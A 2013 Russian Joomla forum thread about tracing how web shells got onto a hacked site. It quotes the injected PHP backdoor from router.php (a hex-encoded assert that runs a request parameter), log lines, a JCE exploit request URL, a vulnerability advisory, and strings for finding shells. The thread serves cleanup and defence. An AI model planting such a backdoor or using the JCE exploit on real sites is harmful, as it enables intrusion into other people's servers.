Новости Joomla

20 лет Joomla: Ринат Кажетов

20 лет Joomla: Ринат Кажетов.В 2025 году Joomla исполнилось 20 лет

В 2025 году Joomla исполнилось 20 лет. Вокруг неё сложилось большое интернациональное русскоязычное сообщество. На сайте нашего сообщества и на Хабре к юбилею были собраны интервью с его видными представителями. Сегодня мы читаем интервью с Ринатом Кажетовым (@rkazhet). Ринат - один из администраторов чата русскоязычного Joomla-сообщества, из Казахстана. Это человек, который всегда знает или найдёт нужную ссылку, пристально следит за новостями в мире Joomla, многое узнаёт первым и просто очень отзывчивый человек. Интервью с Ринатом провёл Евгений Сивоконь.

Читать интервью

0 Пользователей и 1 Гость просматривают эту тему.
  • 30 Ответов
  • 8992 Просмотров
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Скажите пожалуйста. Как можно отследить через какую дыру влезли на сайт?

Допустим я уже поставил скрипт, отслеживающий изменения в файлах. Сайт был норм, но потом появились шеллы.
Что можно предпринять что бы узнать через что был залит шелл?  Или шелл возможно залить ттлько через админку? И на сайте где-то есть баг, позволяющий сменить пароль?  Т.к. пароль к админке был поменян.

Спойлер
[свернуть]
*

yuri-design

  • Давно я тут
  • 652
  • 76 / 5
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Цитировать
Т.к. пароль к админке был поменян.
и версия движка 1.5.10 или 1.5.12 а нет путаю 1.5.20 или
экстрасенсы на пенсии
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Не, версия Версия 1.5.22
Вроде фишка со знаком ковычки не проканывает.  Скиньте плз  какую надо строку в браузер вводить что бы задействовать эксплоит.
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Цитировать
Скиньте плз  какую надо строку в браузер вводить что бы задействовать эксплоит.
а ни чего ломать за вас не надо случайно?
или Google отменили
ключ может еще дать от к..... ;D
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
а ни чего ломать за вас не надо случайно?
или Google отменили
ключ может еще дать от к..... ;D


Везде только описание бага. Мол надо вставить кавычку и т.п. этот метод не проканывает. Прошу дать на проверку бажности что-нибудь для движка 1.5.22
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Ещё в файл   www/htdocs/includes/router.php   прописыают это

function _parseReqRoute($uri) {
      if($uri = JRequest::getVar('options')) {
         $vars = "\x61\x73\x73\x65\x72\x74";
         if(@$vars(get_magic_quotes_gpc()? stripslashes($uri) : $uri)) {
            return true;
         }
      }
   }
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Сначала идёт куча запросов
Спойлер
[свернуть]


Потом уже шелл появляется

94.242.233.70 - - [21/Jan/2013:22:17:09 +0000] "POST /images/stories/e62mju.php HTTP/1.0" 200 240 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"


Как можно записать полный лог, что бы прояснить ситуацию?
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Ещё  вопрос что за цифры после  200?  Это размер данных?  Может если многобой - значит загрузка была всё-таки через админку?

HTTP/1.0" 200 5504 "-"
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Нашёл в логах багу по стрчке из сплоита
/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20

Прошу пояснить как можно пропатчить без переустановки компонент com_jce.

Или плз напишите все папки, в которых он расположен хочу убрать из них код, и посмотреть сколько атак будет произведено.


*

wishlight

  • Гуру
  • 5074
  • 319 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Как оследить бажный компонет (дыру)?
« Ответ #10 : 23.01.2013, 13:44:02 »
А что мешает переустановить JCE?
*

Dron79

  • Захожу иногда
  • 321
  • 37 / 0
  • Век живи - век учись!
Re: Как оследить бажный компонет (дыру)?
« Ответ #11 : 23.01.2013, 14:43:33 »
Это получается в com_jce дырка?
кодинг на php.
*

wishlight

  • Гуру
  • 5074
  • 319 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Как оследить бажный компонет (дыру)?
« Ответ #12 : 23.01.2013, 14:47:11 »
наверно.. до версии 2.0.10 он уязвимый. или как то так.
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #13 : 29.01.2013, 12:46:46 »
А что мешает переустановить JCE?

Я не знаю как. Это же джумала. Тут всё сложно.  Вообще хотел сделать такую штуку.  Оставить компонент, но когда будет атака - что бы просто записывался мой файл (псевдошелл).

Вот только не знаю как это реализовать.

Вообще не понимаю что за строка
/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743

Что за  6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743

Меняется ли она. Или тля записи файла должна быть неизменна.


*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #14 : 29.01.2013, 14:22:56 »
о нет... открыл папку с компонентом а там 600 файлов...   Так просто не разобраться.  Придётся удалять (
*

Dron79

  • Захожу иногда
  • 321
  • 37 / 0
  • Век живи - век учись!
Re: Как оследить бажный компонет (дыру)?
« Ответ #15 : 29.01.2013, 14:33:35 »
Удалить через менеджер расширений. оставшееся после удаления файлы, удалить вручную. После этого заново поставить новую версию компонента.
кодинг на php.
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #16 : 29.01.2013, 16:53:54 »
Ну да, так и сделал. Но оставшиеся файлы вручную не удалял. Ибо не знаю где могут остаться.
*

Funaki

  • Осваиваюсь на форуме
  • 13
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #17 : 30.01.2013, 12:18:25 »
Я не знаю как. Это же джумала. Тут всё сложно.  Вообще хотел сделать такую штуку.  Оставить компонент, но когда будет атака - что бы просто записывался мой файл (псевдошелл).

Вот только не знаю как это реализовать.

Вообще не понимаю что за строка
/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743

Что за  6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743

Меняется ли она. Или тля записи файла должна быть неизменна.
взломали по такой же схеме несколько сайтов ещё картинку злую заливают:)
вот вопрос, а что если просто вставить редирект
RedirectPermanent /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20 http://homr

или просто удалить JCE = остановит?
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #18 : 30.01.2013, 12:59:27 »
ну я скачал сплоит. проверил - картинка норм заливается. Переустановил JCE - сплоит перестал работать.

Примечательно то, что есть пачка сайтов со старым JCE, но сплоит категорически отказывается работать под большинство. Как так ума не приложу.
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Как оследить бажный компонет (дыру)?
« Ответ #19 : 30.01.2013, 20:34:58 »
Цитировать
или просто удалить JCE = остановит?
если уже сломали то - нет
только чистить
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #20 : 30.01.2013, 20:47:19 »
если уже сломали то - нет
только чистить

Ну, просто шелы надо удалить, и прочие штуки которые запихнули.  А сам JCE - можно просто удалить. Ещё раз отмечу что сплоит не все версии пробивает.

Хотел бы спросить норм скрипт (прогу для поиска шеллов и прочих редиректов).

Сам ищу по старинке прогой serch and replace по этим строкам
preg_replace("/./e
eval      -  ZXZhbA -  \x65\x76\x61\x6c   (hex)
base64_decode     -    YmFz (base 64)   -    \x62\x61\x73\x65\x36\x34 (hex)
gzinflate    -     -    \x67\x7A\x69\x6E\x66\x6C\x61\x74\x65 
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #21 : 30.01.2013, 20:51:03 »
Ах да, если кто подскажет основные дыры по заливке шеллов в папку images на движках серии 1.5.22 - 1.5.26 (через ядро Joomla)  или самые бажные компоненты.

Т.к. заливают дор регулярно, и видимо через какой-то эксплоит, который эксплуатирует уж очень явную дыру (как в случае с jce)
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Как оследить бажный компонет (дыру)?
« Ответ #22 : 31.01.2013, 09:16:24 »
Цитировать
Т.к. заливают дор регулярно, и видимо через какой-то эксплоит, который эксплуатирует уж очень явную дыру (как в случае с jce)
и логи ни чего не пишут? мистика просто
1 - вы не дочистили, и это скорей всего (уже пальцы болят писать соседние сайты тоже смотрите)
2 - боты массово бьют по JCE и nonumber, ну и бывают индивидуальные случаи
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #23 : 31.01.2013, 13:47:00 »
и логи ни чего не пишут? мистика просто


Логи пишут.  Но очень много. Иногда кажется что запущен какой-то сканер на уязвимости, который проверяет баги.  Из-за этого в логах куча записей.

Возьмём случай с JCE.  
1) Есть сайт. На нём старый JCE. Сатй был взломан.
2) Открываем логи. видим строку /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20

Кажется что сайт был взломан через JCE. Качаем эксплоит JCE-бот.  Пробуем - ничего не выходит.

3) Ищем дальше.  

Так к чему это я? Когда в логах идёт проверка на уязвимости или много мусора - будет сложно определить через что взломан сайт. Придётся каждую шнягу проверять. Это целую неделю надо сидеть.  

Вот мои компоненты.  Вроде бы там нет nonumber.  А JCE - не уязвим для эксплоита - проверил. Хотя может проверял не так.
http://i53.fastpic.ru/big/2013/0131/09/e917230842441a18cc3567f2aebb7009.jpg
http://fastpic.ru/view/53/2013/0131/af33415a62fa6dc8e89d623d622ab2f1.jpg.html

*

zerost

  • Новичок
  • 3
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #24 : 31.01.2013, 15:19:57 »
вопрос к спецам:
я начинающий, поэтому никак не разбирусь, что делает данная функция:
function _parseReqRoute($uri) {
      if($uri = JRequest::getVar('options')) {
         $vars = "\x61\x73\x73\x65\x72\x74";
         if(@$vars(get_magic_quotes_gpc()? stripslashes($uri) : $uri)) {
            return true;
         }
      }
   }
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Как оследить бажный компонет (дыру)?
« Ответ #25 : 31.01.2013, 20:06:48 »
Цитировать
Качаем эксплоит JCE-бот.  Пробуем - ничего не выходит.
вы что хотите научится ломать?
Цитировать
А JCE - не уязвим для эксплоита - проверил. Хотя может проверял не так.
думаю все не так
Цитировать
Вроде бы там нет nonumber.
это в плагинах
*

zerost

  • Новичок
  • 3
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #26 : 31.01.2013, 20:22:29 »
чтобы научиться защищать, для этого нужно научиться ломать...
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #27 : 05.02.2013, 13:16:56 »
вы что хотите научится ломать?думаю все не такэто в плагинах

я проверял дырявость дырявого плагина и работоспособность эксплоита.
Нет смысла переставлять на 100 сайтов компонент. Легче проверить сначала дыряв ли он. Тем более в паблике только 1 эксплоит пот JCE, который заливает картинку и переименовывает потом её с расширением php.

Если я буду каждый день дырявую джумалу вместе с багоплагинами патчить - мне времени не хватит даже в носу поковырять.
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Как оследить бажный компонет (дыру)?
« Ответ #28 : 09.03.2013, 08:12:23 »
Компонент JCE только позволяет загрузить шелл! или стороний код! для того чтобы это сделать как минимум у пользователя должны быть права автора!, но не имея этих прав вы ничего не сможите сделать!

P.S: Читайте вниматильней багтреки!
http://www.securitylab.ru/vulnerability/424641.php
 
Цитировать
2. Уязвимость существует из-за того, что сценарий components/com_jce/editor/extensions/browser/file.php (когда параметр "chunk" установлен на значение больше "0") неправильно проверяет загружаемые файлы. Удаленный пользователь может с помощью специально сформированного PHP файла с расширением, к примеру, ".jpg.pht" выполнить произвольный код на целевой системе.

Примечание: Для успешной эксплуатации уязвимости необходимо иметь привилегии "Author".
 
« Последнее редактирование: 09.03.2013, 08:15:51 от winstrool »
*

artlux

  • Захожу иногда
  • 466
  • 58 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #29 : 06.05.2013, 23:04:10 »
Цитировать
Если я буду каждый день дырявую джумалу
Ivankalikemanka, И вот почему Joomla дырявая а все что ставите на нее не считаете дырявым?
Разработка расширений: Joomla 1.5+, Bitrix 12+, Мобильные приложения для сайтов под Android (PhoneGap).
Для бонусов: Z136221252622, R242724126443, U423945028202. +79211696184(Мегафон), или плюсик в репу!
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Как найти дыру?

Автор buto

Ответов: 17
Просмотров: 3896
Последний ответ 29.12.2015, 22:03:29
от buto